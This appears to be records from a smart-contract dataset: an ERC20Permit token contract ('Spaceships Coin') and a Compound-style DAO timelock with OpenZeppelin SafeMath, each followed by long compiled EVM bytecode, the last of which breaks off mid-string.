abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 {
using Counters for Counters.Counter;
mapping(address => Counters.Counter) private _nonces;
bytes32 private immutable _PERMIT_TYPEHASH =
keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
constructor(string memory name) EIP712(name, "1") {}
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual override {
require(block.timestamp <= deadline, "ERC20Permit: expired deadline");
bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline));
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSA.recover(hash, v, r, s);
require(signer == owner, "ERC20Permit: invalid signature");
_approve(owner, spender, value);
}
function nonces(address owner) public view virtual override returns (uint256) {
return _nonces[owner].current();
}
function DOMAIN_SEPARATOR() external view override returns (bytes32) {
return _domainSeparatorV4();
}
function _useNonce(address owner) internal virtual returns (uint256 current) {
Counters.Counter storage nonce = _nonces[owner];
current = nonce.current();
nonce.increment();
}
}
contract SpaceshipsCoin is ERC20Permit {
constructor() ERC20("Spaceships Coin", "SPSX") ERC20Permit("Spaceships Coin") {
_mint(msg.sender, 100_000_000e18);
}
}
|
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806370a082311161008c578063a457c2d711610066578063a457c2d714610275578063a9059cbb146102a5578063d505accf146102d5578063dd62ed3e146102f1576100ea565b806370a08231146101f75780637ecebe001461022757806395d89b4114610257576100ea565b806323b872dd116100c857806323b872dd1461015b578063313ce5671461018b5780633644e515146101a957806339509351146101c7576100ea565b806306fdde03146100ef578063095ea7b31461010d57806318160ddd1461013d575b600080fd5b6100f7610321565b6040516101049190611902565b60405180910390f35b610127600480360381019061012291906114d7565b6103b3565b60405161013491906117d3565b60405180910390f35b6101456103d1565b6040516101529190611ac4565b60405180910390f35b610175600480360381019061017091906113e2565b6103db565b60405161018291906117d3565b60405180910390f35b6101936104d3565b6040516101a09190611adf565b60405180910390f35b6101b16104dc565b6040516101be91906117ee565b60405180910390f35b6101e160048036038101906101dc91906114d7565b6104eb565b6040516101ee91906117d3565b60405180910390f35b610211600480360381019061020c9190611375565b610597565b60405161021e9190611ac4565b60405180910390f35b610241600480360381019061023c9190611375565b6105df565b60405161024e9190611ac4565b60405180910390f35b61025f61062f565b60405161026c9190611902565b60405180910390f35b61028f600480360381019061028a91906114d7565b6106c1565b60405161029c91906117d3565b60405180910390f35b6102bf60048036038101906102ba91906114d7565b6107ac565b6040516102cc91906117d3565b60405180910390f35b6102ef60048036038101906102ea9190611435565b6107ca565b005b61030b600480360381019061030691906113a2565b61090c565b6040516103189190611ac4565b60405180910390f35b60606003805461033090611c09565b80601f016020809104026020016040519081016040528092919081815260200182805461035c90611c09565b80156103a95780601f1061037e576101008083540402835291602001916103a9565b820191906000526020600020905b81548152906001019060200180831161038c57829003601f168201915b5050505050905090565b60006103c76103c0610993565b848461099b565b6001905092915050565b6000600254905090565b60006103e8848484610b66565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610433610993565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104aa90611a44565b60405180910390fd5b6104c7856104bf610993565b85840361099b565b60019150509392505050565b60006012905090565b60006104e6610de7565b905090565b600061058d6104f8610993565b848460016000610506610993565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105889190611b21565b61099b565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000610628600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020610f01565b9050919050565b60606004805461063e90611c09565b80601f016020809104026020016040519081016040528092919081815260200182805461066a90611c09565b80156106b75780601f1061068c576101008083540402835291602001916106b7565b820191906000526020600020905b81548152906001019060200180831161069a57829003601f168201915b5050505050905090565b600080600160006106d0610993565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561078d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078490611aa4565b60405180910390fd5b6107a1610798610993565b8585840361099b565b600191505092915050565b60006107c06107b9610993565b8484610b66565b6001905092915050565b8342111561080d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610804906119a4565b60405180910390fd5b60007f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c988888861083c8c610f0f565b8960405160200161085296959493929190611809565b604051602081830303815290604052805190602001209050600061087582610f6d565b9050600061088582878787610f87565b90508973ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146108f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ec90611a24565b60405180910390fd5b6109008a8a8a61099b565b50505050505050505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0290611a84565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7290611984565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610b599190611ac4565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610bd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bcd90611a64565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3d90611944565b60405180910390fd5b610c51838383610fb2565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610cd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cce906119c4565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d6a9190611b21565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610dce9190611ac4565b60405180910390a3610de1848484610fb7565b50505050565b60007f00000000000000000000000054005bec43d8ffd2ec92edeceff7d952693294cd73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff16148015610e6357507f000000000000000000000000000000000000000000000000000000000000000146145b15610e90577f826558154ad6da7c490d6265393c1a7badd7252002980843c4206eafe4bc1d549050610efe565b610efb7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f7f9fbec999207f629fbefdc719407a17c3151aeb5be8732f2779c03dc4d4dcd9187fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6610fbc565b90505b90565b600081600001549050919050565b600080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050610f5c81610f01565b9150610f6781610ff6565b50919050565b6000610f80610f7a610de7565b8361100c565b9050919050565b6000806000610f988787878761103f565b91509150610fa58161114c565b8192505050949350505050565b505050565b505050565b60008383834630604051602001610fd795949392919061186a565b6040516020818303038152906040528051906020012090509392505050565b6001816000016000828254019250508190555050565b6000828260405160200161102192919061179c565b60405160208183030381529060405280519060200120905092915050565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08360001c111561107a576000600391509150611143565b601b8560ff16141580156110925750601c8560ff1614155b156110a4576000600491509150611143565b6000600187878787604051600081526020016040526040516110c994939291906118bd565b6020604051602081039080840390855afa1580156110eb573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561113a57600060019250925050611143565b80600092509250505b94509492505050565b600060048111156111605761115f611c74565b5b81600481111561117357611172611c74565b5b141561117e5761131e565b6001600481111561119257611191611c74565b5b8160048111156111a5576111a4611c74565b5b14156111e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111dd90611924565b60405180910390fd5b600260048111156111fa576111f9611c74565b5b81600481111561120d5761120c611c74565b5b141561124e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124590611964565b60405180910390fd5b6003600481111561126257611261611c74565b5b81600481111561127557611274611c74565b5b14156112b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ad906119e4565b60405180910390fd5b6004808111156112c9576112c8611c74565b5b8160048111156112dc576112db611c74565b5b141561131d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131490611a04565b60405180910390fd5b5b50565b6000813590506113308161207c565b92915050565b60008135905061134581612093565b92915050565b60008135905061135a816120aa565b92915050565b60008135905061136f816120c1565b92915050565b60006020828403121561138b5761138a611cd2565b5b600061139984828501611321565b91505092915050565b600080604083850312156113b9576113b8611cd2565b5b60006113c785828601611321565b92505060206113d885828601611321565b9150509250929050565b6000806000606084860312156113fb576113fa611cd2565b5b600061140986828701611321565b935050602061141a86828701611321565b925050604061142b8682870161134b565b9150509250925092565b600080600080600080600060e0888a03121561145457611453611cd2565b5b60006114628a828b01611321565b97505060206114738a828b01611321565b96505060406114848a828b0161134b565b95505060606114958a828b0161134b565b94505060806114a68a828b01611360565b93505060a06114b78a828b01611336565b92505060c06114c88a828b01611336565b91505092959891949750929550565b600080604083850312156114ee576114ed611cd2565b5b60006114fc85828601611321565b925050602061150d8582860161134b565b9150509250929050565b61152081611b77565b82525050565b61152f81611b89565b82525050565b61153e81611b95565b82525050565b61155561155082611b95565b611c3b565b82525050565b600061156682611afa565b6115708185611b05565b9350611580818560208601611bd6565b61158981611cd7565b840191505092915050565b60006115a1601883611b05565b91506115ac82611ce8565b602082019050919050565b60006115c4602383611b05565b91506115cf82611d11565b604082019050919050565b60006115e7601f83611b05565b91506115f282611d60565b602082019050919050565b600061160a602283611b05565b915061161582611d89565b604082019050919050565b600061162d600283611b16565b915061163882611dd8565b600282019050919050565b6000611650601d83611b05565b915061165b82611e01565b602082019050919050565b6000611673602683611b05565b915061167e82611e2a565b604082019050919050565b6000611696602283611b05565b91506116a182611e79565b604082019050919050565b60006116b9602283611b05565b91506116c482611ec8565b604082019050919050565b60006116dc601e83611b05565b91506116e782611f17565b602082019050919050565b60006116ff602883611b05565b915061170a82611f40565b604082019050919050565b6000611722602583611b05565b915061172d82611f8f565b604082019050919050565b6000611745602483611b05565b915061175082611fde565b604082019050919050565b6000611768602583611b05565b91506117738261202d565b604082019050919050565b61178781611bbf565b82525050565b61179681611bc9565b82525050565b60006117a782611620565b91506117b38285611544565b6020820191506117c38284611544565b6020820191508190509392505050565b60006020820190506117e86000830184611526565b92915050565b60006020820190506118036000830184611535565b92915050565b600060c08201905061181e6000830189611535565b61182b6020830188611517565b6118386040830187611517565b611845606083018661177e565b611852608083018561177e565b61185f60a083018461177e565b979650505050505050565b600060a08201905061187f6000830188611535565b61188c6020830187611535565b6118996040830186611535565b6118a6606083018561177e565b6118b36080830184611517565b9695505050505050565b60006080820190506118d26000830187611535565b6118df602083018661178d565b6118ec6040830185611535565b6118f96060830184611535565b95945050505050565b6000602082019050818103600083015261191c818461155b565b905092915050565b6000602082019050818103600083015261193d81611594565b9050919050565b6000602082019050818103600083015261195d816115b7565b9050919050565b6000602082019050818103600083015261197d816115da565b9050919050565b6000602082019050818103600083015261199d816115fd565b9050919050565b600060208201905081810360008301526119bd81611643565b9050919050565b600060208201905081810360008301526119dd81611666565b9050919050565b600060208201905081810360008301526119fd81611689565b9050919050565b60006020820190508181036000830152611a1d816116ac565b9050919050565b60006020820190508181036000830152611a3d816116cf565b9050919050565b60006020820190508181036000830152611a5d816116f2565b9050919050565b60006020820190508181036000830152611a7d81611715565b9050919050565b60006020820190508181036000830152611a9d81611738565b9050919050565b60006020820190508181036000830152611abd8161175b565b9050919050565b6000602082019050611ad9600083018461177e565b92915050565b6000602082019050611af4600083018461178d565b92915050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b6000611b2c82611bbf565b9150611b3783611bbf565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611b6c57611b6b611c45565b5b828201905092915050565b6000611b8282611b9f565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611bf4578082015181840152602081019050611bd9565b83811115611c03576000848401525b50505050565b60006002820490506001821680611c2157607f821691505b60208210811415611c3557611c34611ca3565b5b50919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45434453413a20696e76616c6964207369676e61747572650000000000000000600082015250565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45434453413a20696e76616c6964207369676e6174757265206c656e67746800600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f1901000000000000000000000000000000000000000000000000000000000000600082015250565b7f45524332305065726d69743a206578706972656420646561646c696e65000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45434453413a20696e76616c6964207369676e6174757265202773272076616c60008201527f7565000000000000000000000000000000000000000000000000000000000000602082015250565b7f45434453413a20696e76616c6964207369676e6174757265202776272076616c60008201527f7565000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332305065726d69743a20696e76616c6964207369676e61747572650000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b61208581611b77565b811461209057600080fd5b50565b61209c81611b95565b81146120a757600080fd5b50565b6120b381611bbf565b81146120be57600080fd5b50565b6120ca81611bc9565b81146120d557600080fd5b5056fea26469706673582212202f10823499f269907cea67d48b1548d3e691b578893f028b5dd5055c2f62ab9764736f6c63430008070033
|
{"success": true, "error": null, "results": {}}
| 3,953 |
0x206e27790911cad84ac7e308cb3fce0cc5358831
|
/**
*Submitted for verification at Etherscan.io on 2021-10-12
*/
pragma solidity ^0.5.16;
// From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol
// Subject to the MIT license.
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the addition of two unsigned integers, reverting with custom message on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction underflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts with custom message on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract RadarDAOTimelock {
using SafeMath for uint;
event NewAdmin(address indexed newAdmin);
event NewPendingAdmin(address indexed newPendingAdmin);
event NewDelay(uint indexed newDelay);
event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
uint public constant GRACE_PERIOD = 14 days;
uint public constant MINIMUM_DELAY = 1 days;
uint public constant MAXIMUM_DELAY = 30 days;
address public admin;
address public pendingAdmin;
uint public delay;
mapping (bytes32 => bool) public queuedTransactions;
constructor(address admin_, uint delay_) public {
require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay.");
admin = admin_;
delay = delay_;
}
function() external payable { }
function setDelay(uint delay_) public {
require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock.");
require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay.");
delay = delay_;
emit NewDelay(delay);
}
function acceptAdmin() public {
require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin.");
admin = msg.sender;
pendingAdmin = address(0);
emit NewAdmin(admin);
}
function setPendingAdmin(address pendingAdmin_) public {
// For the setPendingAdmin function, it is not necessary for it to pass through the timelock,
// because the new admin's actions will also have to pass through the timelock, so a double-timelock
// is not necesarry
require(msg.sender == admin, "Timelock::setPendingAdmin: Call must come from admin.");
pendingAdmin = pendingAdmin_;
emit NewPendingAdmin(pendingAdmin);
}
function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) {
require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin.");
require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = true;
emit QueueTransaction(txHash, target, value, signature, data, eta);
return txHash;
}
function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public {
require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = false;
emit CancelTransaction(txHash, target, value, signature, data, eta);
}
function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) {
require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued.");
require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock.");
require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale.");
queuedTransactions[txHash] = false;
bytes memory callData;
if (bytes(signature).length == 0) {
callData = data;
} else {
callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);
}
// solium-disable-next-line security/no-call-value
(bool success, bytes memory returnData) = target.call.value(value)(callData);
require(success, "Timelock::executeTransaction: Transaction execution reverted.");
emit ExecuteTransaction(txHash, target, value, signature, data, eta);
return returnData;
}
function getBlockTimestamp() internal view returns (uint) {
// solium-disable-next-line security/no-block-members
return block.timestamp;
}
}
|
0x6080604052600436106100c25760003560e01c80636a42b8f81161007f578063c1a287e211610059578063c1a287e21461073d578063e177246e14610768578063f2b06537146107a3578063f851a440146107f6576100c2565b80636a42b8f8146106bc5780637d645fab146106e7578063b1b43ae514610712576100c2565b80630825f38f146100c45780630e18b681146102c357806326782247146102da5780633a66f901146103315780634dd18bf5146104d8578063591fcdfe14610529575b005b610248600480360360a08110156100da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561012157600080fd5b82018360208201111561013357600080fd5b8035906020019184600183028401116401000000008311171561015557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156101b857600080fd5b8201836020820111156101ca57600080fd5b803590602001918460018302840111640100000000831117156101ec57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019092919050505061084d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561028857808201518184015260208101905061026d565b50505050905090810190601f1680156102b55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102cf57600080fd5b506102d8610ece565b005b3480156102e657600080fd5b506102ef61105c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561033d57600080fd5b506104c2600480360360a081101561035457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561039b57600080fd5b8201836020820111156103ad57600080fd5b803590602001918460018302840111640100000000831117156103cf57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561043257600080fd5b82018360208201111561044457600080fd5b8035906020019184600183028401116401000000008311171561046657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050611082565b6040518082815260200191505060405180910390f35b3480156104e457600080fd5b50610527600480360360208110156104fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611448565b005b34801561053557600080fd5b506106ba600480360360a081101561054c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561059357600080fd5b8201836020820111156105a557600080fd5b803590602001918460018302840111640100000000831117156105c757600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561062a57600080fd5b82018360208201111561063c57600080fd5b8035906020019184600183028401116401000000008311171561065e57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050611596565b005b3480156106c857600080fd5b506106d16118e1565b6040518082815260200191505060405180910390f35b3480156106f357600080fd5b506106fc6118e7565b6040518082815260200191505060405180910390f35b34801561071e57600080fd5b506107276118ee565b6040518082815260200191505060405180910390f35b34801561074957600080fd5b506107526118f5565b6040518082815260200191505060405180910390f35b34801561077457600080fd5b506107a16004803603602081101561078b57600080fd5b81019080803590602001909291905050506118fc565b005b3480156107af57600080fd5b506107dc600480360360208110156107c657600080fd5b8101908080359060200190929190505050611a71565b604051808215151515815260200191505060405180910390f35b34801561080257600080fd5b5061080b611a91565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60606000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108f4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180611b476038913960400191505060405180910390fd5b60008686868686604051602001808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610980578082015181840152602081019050610965565b50505050905090810190601f1680156109ad5780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b838110156109e65780820151818401526020810190506109cb565b50505050905090810190601f168015610a135780820380516001836020036101000a031916815260200191505b509750505050505050506040516020818303038152906040528051906020012090506003600082815260200190815260200160002060009054906101000a900460ff16610aab576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603d815260200180611c9a603d913960400191505060405180910390fd5b82610ab4611ab6565b1015610b0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526045815260200180611be96045913960600191505060405180910390fd5b610b216212750084611abe90919063ffffffff16565b610b29611ab6565b1115610b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526033815260200180611bb66033913960400191505060405180910390fd5b60006003600083815260200190815260200160002060006101000a81548160ff0219169083151502179055506060600086511415610bc057849050610c7b565b85805190602001208560405160200180837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260040182805190602001908083835b60208310610c435780518252602082019150602081019050602083039250610c20565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405290505b600060608973ffffffffffffffffffffffffffffffffffffffff1689846040518082805190602001908083835b60208310610ccb5780518252602082019150602081019050602083039250610ca8565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610d2d576040519150601f19603f3d011682016040523d82523d6000602084013e610d32565b606091505b509150915081610d8d576040517f08c379a00000000000000000000000000000000000000000000000